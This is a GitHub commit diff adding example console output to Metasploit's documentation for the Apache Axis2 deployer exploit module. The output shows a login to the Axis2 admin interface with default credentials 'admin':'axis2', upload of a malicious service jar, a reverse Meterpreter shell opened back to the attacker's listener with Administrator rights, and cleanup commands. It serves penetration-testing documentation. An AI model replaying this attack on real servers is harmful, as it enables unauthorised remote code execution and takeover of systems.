Skip to content

Commit 8d618ce

Browse files
committed
Documentation on axis2_deployer updated 1.3
1 parent 03d6e45 commit 8d618ce

File tree

1 file changed

+26
-0
lines changed

1 file changed

+26
-0
lines changed

documentation/modules/exploit/multi/http/axis2_deployer.md

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -54,5 +54,31 @@ Exploit target:
5454
msf exploit(axis2_deployer) > exploit
5555
5656
[*] Started reverse TCP handler on 10.10.155.39:4444
57+
[+] http://10.10.155.37:8080/axis2/axis2-admin [Apache-Coyote/1.1] [Axis2 Web Admin Module] successful login 'admin' : 'axis2'
58+
[*] Successfully uploaded
59+
[*] Polling to see if the service is ready
60+
[*] Sending stage (30355 bytes) to 10.10.155.37
61+
[*] Meterpreter session 3 opened (10.10.155.39:4444 -> 10.10.155.37:1750) at 2017-03-26 23:33:19 -0500
62+
63+
[*] NOTE: You will need to delete the web service that was uploaded.
64+
65+
[*] Using meterpreter:
66+
[*] rm "webapps/axis2/WEB-INF/services/mdLFvgMv.jar"
67+
68+
[*] Using the shell:
69+
[*] cd "webapps/axis2/WEB-INF/services"
70+
[*] del mdLFvgMv.jar
71+
72+
73+
meterpreter > getuid
74+
Server username: Administrator
75+
meterpreter > sysinfo
76+
Computer : juan-6ed9db6ca8
77+
OS : Windows 2003 5.2 (x86)
78+
Meterpreter : java/java
79+
meterpreter > exit
80+
[*] Shutting down Meterpreter...
81+
82+
[*] 10.10.155.37 - Meterpreter session 3 closed. Reason: User exit
5783
5884
```

0 commit comments

Comments
 (0)